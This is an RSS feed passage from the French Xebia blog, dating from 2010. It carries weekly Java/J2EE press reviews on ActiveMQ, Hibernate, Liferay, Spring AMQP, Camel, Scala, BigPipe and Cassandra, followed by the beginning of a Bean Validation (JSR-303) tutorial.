<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog Xebia France &#187; Spring</title>
	<atom:link href="http://blog.xebia.fr/tag/spring/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.xebia.fr</link>
	<description>J2EE, Agilité et SOA</description>
	<lastBuildDate>Mon, 06 Sep 2010 22:12:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/</link>
		<comments>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 05:29:57 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[ActiveMQ]]></category>
		<category><![CDATA[CGLIB]]></category>
		<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[WebSocket]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=5244</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

James Gosling sur l&#8217;affaire Oracle vs Google
ActiveMQ 5.4.0

Le coin de la  technique

Hibernate ne supporte plus CGLIB

Actualité  éditeurs / SSII
James Gosling sur l&#8217;affaire Oracle vs Google
James Gosling revient sur l&#8217;épisode Oracle vs Google avec un article dans lequel il nous [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br />
<em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#JamesGoslingsurlaffaireOraclev">James Gosling sur l&#8217;affaire Oracle vs Google</a></li>
<li><a href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#ActiveMQ">ActiveMQ 5.4.0</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#HibernatenesupporteplusCGLIB">Hibernate ne supporte plus CGLIB</a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="JamesGoslingsurlaffaireOraclev"></a>James Gosling sur l&#8217;affaire Oracle vs Google</h4>
<p>James Gosling revient sur l&#8217;épisode <a href="http://blog.xebia.fr/2010/08/17/revue-de-presse-xebia-172/" title="Oracle vs Google" >Oracle vs Google</a> avec un <a href="http://nighthacks.org/roller/jag/entry/quite_the_firestorm" title="article" >article</a> dans lequel il nous donne quelques éléments pour mieux comprendre la politique de Sun vis à vis de Java et des brevets :</p>
<ul>
<li>Sun a principalement déposé des brevets afin de se protéger d&#8217;éventuelles attaques venant de ses concurrents. Un épisode malheureux dans lequel Sun fut attaqué par IBM concernant un brevet sur les processeurs RISC leur fit prendre conscience qu&#8217;il était nécessaire de posséder un arsenal de brevets. Le procès se termina en effet en leur défaveur et ils durent payer d&#8217;importantes indemnités à IBM, les mettant au bord du dépôt de bilan.</li>
<li>Les brevets sur la technologie Java et le choix de la license CDDL avaient pour but de garantir l&#8217;interopérabilité des applications java sur les différentes plateformes. Cette protection a donné lieu à un procès entre Sun et Microsoft car ce dernier avait fournit une implémentation d&#8217;un machine virtuelle Java sur laquelle le code ne s&#8217;exécutait pas de la même manière que sur les autres JVM (dont celle de Sun) qui respectaient les spécifications. La machine virtuelle java de Google présentant elle aussi des problèmes d&#8217;interopérabilité, Oracle se sert de cette jurisprudence pour les poursuivre.</li>
<li>Sun aurait souhaité obtenir une partie des bénéfices générés par la plateforme Android mais sans succès. Il semble donc qu&#8217;Oracle souhaite continuer dans cette voie mais en choisissant de sortir l&#8217;artillerie lourde pour parvenir à ses fins.</li>
</ul>
<p>Cette affaire a un effet néfaste sur l&#8217;image de Java et James Gosling, loin de cautionner l&#8217;action d&#8217;Oracle, regrette l&#8217;absence de moralité des grandes compagnies informatiques actuelles.</p>
<h4><a name="ActiveMQ"></a>ActiveMQ 5.4.0</h4>
<p>Un peu moins d&#8217;un an après la <a href="http://blog.xebia.fr/2009/10/19/revue-de-presse-xebia-130/#UnnouveaumoteurdestockagepourA" title="dernière release" >dernière release</a>, Apache sort une nouvelle version de son <em>broker</em> de message. Au-delà des <a href="https://issues.apache.org/activemq/secure/IssueNavigator.jspa?reset=true&#038;pid=10520&#038;fixfor=12110&#038;sorter/field=priority&#038;sorter/order=DESC" title="283" >283</a> bugs résolus, on notera quelques nouvelles fonctionnalités intéressantes:</p>
<ul>
<li>Priorité des messages: Jusqu&#8217;à maintenant pour jouer sur la priorité de certains messages sur d&#8217;autres il fallait contourner le problème en utilisant plusieurs queues de messages qui pouvaient être, elles, <em>priorisées</em>. Le point de blocage jusqu&#8217;à maintenant était lié à l&#8217;ordonnancement des messages, trop gourmand en temps. Ce problème semble être en partie réglé et le paramètre priorité du message JMS (inclus dans l&#8217;API) sera pris en compte.</li>
<li><a href="http://activemq.apache.org/delay-and-schedule-message-delivery.html" title="Planifier ses messages" >Planifier ses messages</a>: ActiveMQ possède à présent un planificateur persistant de message. En d&#8217;autres termes, il est possible à l&#8217;envoi du message de préciser la date réelle de l&#8217;envoi et la durée entre la répétition d&#8217;un envoi. L&#8217;interface permet même de préciser tout cela sous la forme d&#8217;une entrée CRON. Ceci peut être assez intéressant pour par exemple faire du <em>heartbeat</em> (envoi d&#8217;un message à intervalle régulier pour s&#8217;assurer du fonctionnement de l&#8217;application ou faire des calculs de performance).</li>
<li><a href="http://activemq.apache.org/websockets.html" title="WebSocket" >WebSocket</a>: Le sujet est à la mode, surtout avec l&#8217;émergence d&#8217;HTML 5, <a href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#HornetQ" title="HornetQ" >HornetQ</a> le propose également sur sa dernière version. Il s&#8217;agit d&#8217;utiliser le <em>broker</em> de messages depuis du code javascript. Tout comme HornetQ, ActiveMQ utilise son protocole de message simplifié STOMP. Deux librairies javascripts sont proposées sur leur site: <a href="http://github.com/krukow/stomple" title="Stomple" >Stomple</a> et <a href="http://github.com/jmesnil/stomp-websocket" title="stompwebsocket" >stomp-websocket</a>.</li>
</ul>
<p>Hormis ces nouveautés, des améliorations ont été apportées sur <a href="http://activemq.apache.org/osgi-integration.html" title="OSGI" >OSGI</a> et le shell <a href="http://activemq.apache.org/unix-shell-script.html" title="unix" >unix</a>.</p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="HibernatenesupporteplusCGLIB"></a>Hibernate ne supporte plus CGLIB</h4>
<p>Historiquement <a href="http://cglib.sourceforge.net/" title="CGLIB" >CGLIB</a> a rendu de nombreux services à Hibernate et Spring pour permettre de manipuler le bytecode Java. Par exemple, vous avez sans doute déjà vu passer un proxy préfixé par CGLIB lorsque vous débuggez votre application. Mais récemment, Steve Ebersole, développeur chez Hibernate, <a href="http://in.relation.to/Bloggers/DeprecatedCGLIBSupport" title="a annoncé" >a annoncé</a> qu&#8217;il n&#8217;y aurait plus de support pour cette librairie. Cette décision aurait été prise non pas pour des raisons purement techniques mais parce que cette librairie n&#8217;aurait plus de support et semble figée à la version 2.2 qui date de 2008. L&#8217;auteur donne pour exemple un <a href="http://opensource.atlassian.com/projects/hibernate/browse/HHH-2222" title="ancien bug" >ancien bug</a> sur une incompatibilité de version de la librairie ASM (qui manipule à un niveau plus bas le bytecode) avec celle de Spring et qui mit un an à être corrigé. </p>
<p>Hibernate à présent privilégiera <a href="http://jboss.org/javassist" title="Javassist" >Javassist</a>, un projet JBoss (tout comme Hibernate, tiens, tiens&#8230;), aux fonctionnalités similaires mais encore <em>en vie</em>. Reste à savoir si Spring suivra la même démarche.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/</link>
		<comments>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#comments</comments>
		<pubDate>Tue, 20 Jul 2010 05:41:44 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[AMQP]]></category>
		<category><![CDATA[BigPipe]]></category>
		<category><![CDATA[Camel]]></category>
		<category><![CDATA[Cassandra]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[liferay]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Saas]]></category>
		<category><![CDATA[scala]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Tibco]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=5129</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

Du BI en SaaS gratuit pendant un an avec Tibco
Sortie de la version 6 du portail open-source Liferay
Spring facilite l&#8217;adoption d&#8217;AMQP

SOA

Sortie d&#8217;Apache Camel 2.4

Le coin de la  technique

Scala 2.8 enfin finale !
BigPipe : L&#8217;optimisation du temps de chargement selon FaceBook
Twitter [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p>
<p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#DuBIenSaaSgratuitpendantunanav">Du BI en SaaS gratuit pendant un an avec Tibco</a></li>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#Sortiedelaversionduportailopen">Sortie de la version 6 du portail open-source Liferay</a></li>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#SpringfaciliteladoptiondAMQP">Spring facilite l&#8217;adoption d&#8217;AMQP</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#SortiedApacheCamel">Sortie d&#8217;Apache Camel 2.4</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#Scalaenfinfinale">Scala 2.8 enfin finale !</a></li>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#BigPipeLoptimisationdutempsdec">BigPipe : L&#8217;optimisation du temps de chargement selon FaceBook</a></li>
<li><a href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#TwitterabandonnelestockagesurC">Twitter abandonne le stockage sur Cassandra</a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="DuBIenSaaSgratuitpendantunanav"></a>Du BI en SaaS gratuit pendant un an avec Tibco</h4>
<p>Tibco vient de mettre à disposition sa suite Spotfire Business Intelligence en mode SaaS gratuitement pendant une année.  Cette nouvelle solution permet d&#8217;importer des données depuis diverses sources, telles que les feuilles excel, les bases de données Access, Oracle, &#8230; et de les présenter dans des rapports interactifs, facilitant ainsi leur analyse.</p>
<p>Spotfire présente deux principaux avantages :</p>
<ul>
<li>Le mode SaaS de la solution accélère la construction  des rapports BI et par conséquence leur mise à disposition au business,  en éliminant tout le temps de mise en place des infrastructures habituellement nécessaires pour ce genre de projet.</li>
</ul>
<ul>
<li>L&#8217;autre grande nouveauté mise en avant par l&#8217;éditeur est le côté social de sa solution. L&#8217;utilisateur de Spotfire, pourra partager ses rapports avec ses collaborateurs situés n&#8217;importe où dans le monde pour une plus grande interactivité.</li>
</ul>
<p>Plus de détails sur <a title="le site" href="http://spotfire.tibco.com/silverspotfire/">le site</a> de l&#8217;éditeur.</p>
<h4><a name="Sortiedelaversionduportailopen"></a>Sortie de la version 6 du portail open-source Liferay</h4>
<p><a title="Brian Chan" href="http://www.liferay.com/about-us/leadership">Brian Chan</a>, fondateur du projet <a title="Liferay" href="http://www.liferay.com/">Liferay</a>, vient d&#8217;annoncer sur le blog de l&#8217;entreprise <a title="la sortie de la 6me version" href="http://www.liferay.com/web/brian.chan/blog/-/blogs/liferay-portal-6-ga-released">la sortie de la 6ème version</a> du portail open-source.</p>
<p>Cette nouvelle version apporte son lot de nouveautés :</p>
<p><strong>Gestion de contenu :</strong></p>
<ul>
<li>Possibilité de partager du contenu entre différentes communautés grâce à l&#8217;ajout d&#8217;un scope Global, et d&#8217;un nouveau portlet d&#8217;administration (<a title="Asset Publisher Portlet" href="http://www.liferay.com/community/wiki/-/wiki/Main/Asset%20Publisher%20Portlet">Asset Publisher Portlet</a>).</li>
<li>Utilisation de <a title="tags et de catgories" href="http://www.liferay.com/community/wiki/-/wiki/Main/Tags%20and%20Categories">tags et de catégories</a> pour une meilleure organisation et une recherche plus précise des informations.</li>
<li>Gestion de la validation et de la parution des articles à l&#8217;aide d&#8217;un Workflow pouvant s&#8217;appuyer sur <a title="jBPM 3.0" href="http://jboss.org/jbpm">jBPM 3.0</a>, puis prochainement sur la <a title="solution BPMS dIntalio" href="http://www.intalio.com/bpms">solution BPMS d&#8217;Intalio</a>.</li>
</ul>
<p><strong>Administration du portail :</strong></p>
<ul>
<li>Mise en place d&#8217;indicateur JMX pour le monitoring des performances des différents portlets déployés sur le portail.</li>
<li>Ajout d&#8217;un système d&#8217;audit permettant d&#8217;enregistrer un certain nombre de mesures, pouvant être traitées ultérieurement (Audit Framework).</li>
<li>Intégration avec les systèmes de reporting <a title="Jasper Reports" href="http://www.jaspersoft.com/jasperreports">Jasper Reports</a> et <a title="BIRT" href="http://www.eclipse.org/birt">BIRT</a> à travers le nouveau module Report Engine Framework.</li>
<li>Simplification de l&#8217;administration du portail grâce à l&#8217;ajout d&#8217;une nouvelle console basée sur l&#8217;exécution de scripts.</li>
</ul>
<p><strong>Interfaces utilisateur :</strong></p>
<ul>
<li>Ajout d&#8217;un nouveau composant appelé <a title="Dockbar" href="http://www.liferay.com/community/wiki/-/wiki/Main/Dockbar">Dockbar</a> qui améliore la navigation au sein des différentes communautés du portail.</li>
<li>Possibilité de créer en un clic une nouvelle communauté ou une nouvelle page, en indiquant simplement le Template de page à utiliser.</li>
<li>Réorganisation du portlet <a title="Document Library" href="http://www.liferay.com/community/wiki/-/wiki/Main/Document%20Library%20Portlet">Document Library</a> afin de simplifier la gestion des documents au sein du portail.</li>
</ul>
<p><strong>Extension et intégration :</strong></p>
<ul>
<li>Ajout du module Generic Asset Framework, permettant d&#8217;interagir simplement avec les Workflows internes du portail ainsi que sur les options de sécurité.</li>
<li>Intégration avec le framework Web <a title="Alloy UI" href="http://alloyui.com/">Alloy UI</a>, permettant de créer simplement des interfaces en HTML 5 s&#8217;appuyant sur les standards du W3C.</li>
<li>Mise en place d&#8217;un framework de script permettant d&#8217;étendre les applications créées en dehors du portail.</li>
<li>Nouvelle intégration native du portlet Document Library avec les solutions de gestion de documents et notamment <a title="Documentum" href="http://france.emc.com/products/family/documentum-family.htm">Documentum</a>, ainsi que l&#8217;amélioration de l&#8217;intégration avec <a title="Sharepoint" href="http://sharepoint.microsoft.com">Sharepoint</a>.</li>
</ul>
<p>Avec cette nouvelle version de Liferay Portal, Liferay continu d&#8217;étoffer son offre Portail et montre qu&#8217;il reste parmi les leaders du domaine. L&#8217;intégration avec les outils de BPM, de reporting et de gestion de documents du marché montre la volonté de la société de se diriger de plus en plus vers une solution ouverte et inter-connectée.</p>
<p>Pour plus d&#8217;information sur les nouveautés :</p>
<p><a title="Toutes les nouvelles fonctionnalits de la version 60" href="http://www.liferay.com/community/wiki/-/wiki/Main/New+Features+in+Liferay+Portal+v6.0">Toutes les nouvelles fonctionnalités de la version 6.0</a><br />
<a title="La liste des changements sur le JIRA du projet" href="http://issues.liferay.com/browse/LPS/fixforversion/10612">La liste des changements sur le JIRA du projet</a></p>
<h4><a name="SpringfaciliteladoptiondAMQP"></a>Spring facilite l&#8217;adoption d&#8217;AMQP</h4>
<p>Comme on pouvait s&#8217;y attendre avec le <a title="rachat de RabbitMQ par VMWare" href="http://blog.xebia.fr/2010/04/19/revue-de-presse-xebia-155/#RabbitMQrachetparSpringSource">rachat de RabbitMQ par VMWare</a>, Spring intégre petit à petit des fonctionnalités facilitant l&#8217;adoption d&#8217;<a title="AMQP" href="http://blog.xebia.fr/2010/02/23/amqp-une-alternative-a-jms/">AMQP</a>.</p>
<p>Le premier milestone de <a title="Spring AMQP 100" href="http://www.springsource.org/node/2715">Spring AMQP 1.0.0</a> matérialise cet effort. Un gros point de satisfaction, Spring ne s&#8217;est pas contenté de fournir la partie cliente Java de RabbitMQ mais propose une réelle abstraction du protocole AMQ. Par contre la gestion des versions de la spécification reste un peu flou. Elle semble caler sur la version 0.8 tout en étant compatible avec la 0.9.1.</p>
<p>La distribution vient avec 4 modules : spring-amqp, spring-rabbit,spring-rabbit-admin et spring-erlang. Ce dernier est le plus inattendu et la <a title="documentation" href="http://static.springsource.org/spring-amqp/docs/1.0.x/reference/htmlsingle/">documentation</a> semble indiquer que le projet est expérimental. Pour rappel le serveur de RabbitMQ est implémenté en Erlang, un langage très perfomant sur les aspects concurrentiels.</p>
<p>La documentation, bien qu&#8217;incomplète, a la bonne idée de proposer plusieurs cas d&#8217;utilisation et laisse entrevoir un bon support pour Spring Integration. Cette nouvelle est quoiqu&#8217;il en soit une très bonne nouvelle pour l&#8217;adoption d&#8217;AMQP dans le monde Java. Par ailleurs Spring propose également une version .Net.</p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="SortiedApacheCamel"></a>Sortie d&#8217;Apache Camel 2.4</h4>
<p>La version 2.4.0 du projet <a title="Apache Camel" href="http://camel.apache.org/">Apache Camel</a> est mise à disposition moins de 2 mois seulement après la sortie de la version 2.3.0. Elle vient compléter un changelog déjà très fourni sur la version précédente et apporte un certain nombre de corrections, d&#8217;améliorations et de nouveautés:</p>
<ul>
<li>Le support d&#8217;OSGI Blueprint via la création d&#8217;un namespace XML adapté permettant de définir des routes Camel. Ce namespace est pour le moment uniquement exploitable via l&#8217;implémentation Blueprint <a title="'Apache Aries'" href="http://incubator.apache.org/aries/">&#8216;Apache Aries&#8217;</a> utilisée par le projet <a title="Apache Karaf" href="http://karaf.apache.org/">&#8216;Apache Karaf&#8217;</a>. A noter que la définition d&#8217;errorHandler n&#8217;est pas possible pour le moment.</li>
</ul>
<ul>
<li>Un <a title="moteur de routage asynchrone" href="http://camel.apache.org/asynchronous-processing.html">moteur de routage asynchrone</a> non bloquant complet: tous les patterns d&#8217;intégration sont supportés ainsi que différents composants: JBI, NMR, CXF, Jetty et Netty.</li>
<li>La version de Spring utilisée par Camel passe à la 3.0.3 marquant ainsi  la fin du support de la branche 2.0 (La version 2.5 étant encore  supportée). Le support de Spring Security pour sa part change également de version et passe à la 3.0.3.RELEASE.</li>
</ul>
<p>La version 2.3.0 proposait déjà de nombreuses améliorations majeures telles que le support des <a title="Property placeholders" href="http://camel.apache.org/using-propertyplaceholder.html">Property placeholders</a> qui manquaient cruellement, ainsi que le support d&#8217;un nombre conséquent de nouveaux composants (camel-exec, camel-nagios, camel-netty, camel-spring-spring-security, camel-crypto, &#8230;). Le projet Camel devrait à coup sûr continuer à faire parler de lui dans les prochains mois, tout en s&#8217;imposant un peu plus comme un acteur majeur dans le milieu des <a title="frameworks dintgration" href="http://blog.xebia.fr/2007/12/17/spring-integration-lavenement-des-lightweight-esb/">frameworks d&#8217;intégration</a>.</p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="Scalaenfinfinale"></a>Scala 2.8 enfin finale !</h4>
<p>Après plusieurs mois de bêtas et de release candidates, voici enfin venir la toute dernière version de Scala en finale à savoir la 2.8.0 ! Cette version quasi majeure est considérée par beaucoup comme une 3.0 tellement les nouveautés sont nombreuses.</p>
<p>Au menu : la nouvelle API collection, la spécialisation de type, une nouvelle implémentation des <code>Array</code>, les arguments nommés et par défaut, les <code>Package Objects</code>, le support des continuations ou bien encore le REPL amélioré. Les nouveautés étant nombreuses, je pense que cette nouvelle version mériterait bien son petit article, n&#8217;est-il pas ? <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>La mise à jour de Scala par votre IDE est <a title="possible" href="http://www.scala-lang.org/node/91#ide_plugins">possible</a>, pour les autres le téléchargement de la distribution se passe par <a title="ici" href="http://www.scala-lang.org/downloads">ici</a>.</p>
<h4><a name="BigPipeLoptimisationdutempsdec"></a>BigPipe : L&#8217;optimisation du temps de chargement selon FaceBook</h4>
<p>Après les outils Yahoo (YSlow) et Google (Google Speed), c&#8217;est au tour de facebook de sortir de son chapeau une arme secrète pour réduire le temps de chargement des pages. Cette fois la solution est tout autre, ni Sprite CSS, ni JavaScript compacté, il faut paralléliser le chargement des pages par blocs. Avec BigPipe, le serveur envoi un bloc d&#8217;en-tête HTML qui s&#8217;occupe de charger la librairie BigPipe et fournit un template pour positionner les blocs appelés &#8216;pagelet&#8217;. Le serveur va ensuite envoyer toujours dans la même réponse, un bloc JavaScript par pagelet invoquant une méthode de chargement. L&#8217;objet Json fournit en paramètre contient le contenu HTML, l&#8217;URL de la CSS et celle du JavaScript nécessaire. Pendant que le navigateur charge une CSS et affiche un nouveau bloc HTML, le serveur est encore en train d&#8217;injecter ses pagelets.<br />
Avec ce système, facebook a réussi à réduire le temps de chargement perçu par les utilisateurs. Ils précisent diviser par deux le temps de chargement pour la plupart des navigateurs. A l&#8217;exception de Firefox 3.6 qui n&#8217;a gagné que 22% de temps de chargement.</p>
<ul>
<li><a title="Larticle sur facebook engineering" href="http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919">L&#8217;article sur facebook engineering</a></li>
<li><a title="Larticle sur InfoQ" href="http://www.infoq.com/news/2010/07/bigpipe-facebook-optimize">L&#8217;article sur InfoQ</a></li>
</ul>
<h4><a name="TwitterabandonnelestockagesurC"></a>Twitter abandonne le stockage sur Cassandra</h4>
<p>L&#8217;affaire avait fait grand bruit en février : <a title="Twitter abandonne MySql pour stocker ses tweets sous Cassandra" href="http://www.informationweek.com/news/software/open_source/showArticle.jhtml?articleID=223100894">Twitter abandonne MySql pour stocker ses tweets sous Cassandra</a>. Cet abandon donnait à Cassandra une légitimé hors des murs de Facebook. Malheureusement, le soufflet vient de brutalement retomber. Twitter fait machine arrière (ou plutot clarifie son propos, car il y a eu <em>incompréhension</em> (sic)) : les tweets sont stockés et continueront à l&#8217;être sous MySql. Cassandra est utilisé au sein de l&#8217;entreprise, mais pour d&#8217;autres besoins (via <a title="TechCrunch" href="http://techcrunch.com/2010/07/09/twitter-analytics-mysql/">TechCrunch</a>). Il se murmure que Cassandra serait au cœur de la prochaine étape de la monétisation de Twitter, un moteur d&#8217;analyse <em>public</em> en temps réel. Cette utilisation de Cassandra en interne est <a title="confirme sur le blog de Twitter" href="http://engineering.twitter.com/2010/07/cassandra-at-twitter-today.html">confirmée sur le blog de Twitter</a>.</p>
<p>Alors, pourquoi ce changement de stratégie ? Nous n&#8217;allons certainement pas hurler avec la meute qui, dès cette annonce a fait fleurir des analyses plus ou moins fantaisistes sur la tenue à la charge de Cassandra, son exploitabilité, et sur tous les défauts que l&#8217;on peut prêter à un tel produit. Nous nous rangeons plutôt du coté de ceux qui pense que le timing est mauvais. Tout d&#8217;abord parce que Twitter subit actuellement de fréquents pic de charge qui entrainent des coupures de service. Cet effet Coupe du monde de football devrait néanmoins commencer à retomber. La continuité de service semble être la priorité actuellement en terme d&#8217;évolutions techniques et architecturales. Ensuite, nous l&#8217;avons déjà évoqué, Twitter entre dans une phase où l&#8217;entreprise tente de monétiser son service. C&#8217;est là aussi, n&#8217;en doutons pas, un poste de développement important, avec de nombreux services à créer et à roder.</p>
<p>Pour conclure, nous conservons notre confiance à Cassandra. Son abandon par Twitter (sur une fonctionnalité identifiée, celle du stockage des tweets) est une information stratégique d&#8217;importance (MySql garde la confiance d&#8217;un des plus grand <em>stockeur</em> du monde web), mais reste un choix stratégique et pas forcément technique. Nous continuerons donc à suivre avec attention les développements de Cassandra, et du NoSql en général.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bean Validation</title>
		<link>http://blog.xebia.fr/2010/07/15/bean-validation/</link>
		<comments>http://blog.xebia.fr/2010/07/15/bean-validation/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 05:36:12 +0000</pubDate>
		<dc:creator>Guillaume Arnaud</dc:creator>
				<category><![CDATA[Java / JEE]]></category>
		<category><![CDATA[Beans Validation]]></category>
		<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[Hibernate Validator]]></category>
		<category><![CDATA[Java EE 6]]></category>
		<category><![CDATA[JSR-303]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Spring MVC]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=5033</guid>
		<description><![CDATA[Comment valider un bean ? L'idée de départ, comme toutes les bonnes idées, est très simple. Avant, pour confirmer que des données étaient valides selon certains critères métiers, le développeur pouvait être amené à intervenir sur plusieurs couches. Il pouvait agir, par exemple, sur la couche présentation, en ajoutant du javascript pour contrôler un champ [...]]]></description>
			<content:encoded><![CDATA[<p>Comment valider un bean ? L'idée de départ, comme toutes les bonnes idées, est très simple. Avant, pour confirmer que des données étaient valides selon certains critères métiers, le développeur pouvait être amené à intervenir sur plusieurs couches. Il pouvait agir, par exemple, sur la couche présentation, en ajoutant du javascript pour contrôler un champ du formulaire, ou bien ajouter du code de vérification dans la couche DAO avant de persister en base. Cette spécification a eu pour objectif, d'une part d'enrichir les entités métiers sur les valeurs que pouvaient prendre ses propriétés, et d'autre part de fournir un service capable de valider ces entités avec en plus un certain niveau d'information sur les cas non valides.</p>
<p>La JSR-303, finalisée en novembre 2009, fournit une standardisation de ces concepts et fait partie de Java EE 6. Emmanuel Bernard étant le <em>spec lead</em> de cette JSR, assez naturellement l'implémentation <em>Hibernate Validator</em> est devenue celle de référence. C'est cette dernière qui sera exclusivement évoquée dans cet article.</p>
<h3><a name="Conceptsdebase"></a>Concepts de base</h3>
<p>On étudiera dans cet article la configuration par annotations, mais il reste possible de faire l'équivalent en fichier xml.</p>
<h4><a name="Contraintes"></a>Contraintes</h4>
<p>Une contrainte est une restriction sur un attribut d'un bean. Beaucoup sont déjà définies dans la JSR-303, Hibernate Validator en rajoute quelques-unes très utiles et l'utilisateur peut définir les siennes comme nous le verrons plus loin.</p>
<p>Voici un exemple pour valider qu'un attribut est non nul :</p>
<div class="syntax_hilite">
<div id="java-17">
<div class="java"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Personne<span style="color: #66cc66;">&#123;</span></p>
<p>&nbsp; &nbsp; @NotNull<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> nom;<br />
&nbsp; &nbsp; ...<br />
<span style="color: #66cc66;">&#125;</span></div>
</div>
</div>
<p>
Les contraintes peuvent être posées directement sur le champ, sur la propriété par l'intermédiaire de l'accesseur ou au niveau de la classe, ce qui nécessite de définir sa propre contrainte. La visibilité du champ n'a pas d'importance car il sera introspecté par réflexion mais il ne doit pas être statique.</p>
<p>Un graphe d'objets peut être validé dans son ensemble, ou bien plus finement. Si une entité à valider possède une autre entité ayant des contraintes, l'annotation <code>@Valid</code> permet de contraindre aussi la validation de cette entité. Cerise sur le gâteau, la validation sur une collection fonctionne aussi, tous les éléments de cette collection devant être valides.</p>
<p>Voici les contraintes standards:</p>
<table cellspacing="0" cellpadding="5" style="border: 1px solid black">
<tr>
<td bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>contrainte</strong></td>
<td bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>signification</strong></td>
<td bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>types acceptés</strong></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Null</code></td>
<td style="border: 1px solid black">L'élément doit être nul</td>
<td style="border: 1px solid black"><code>Object</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@NotNull</code></td>
<td style="border: 1px solid black">L'élément doit être non nul</td>
<td style="border: 1px solid black"><code>Object</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@AssertTrue</code></td>
<td style="border: 1px solid black">L'élément doit être <code>true</code></td>
<td style="border: 1px solid black"><code>boolean</code>, <code>Boolean</code></td>
</tr>
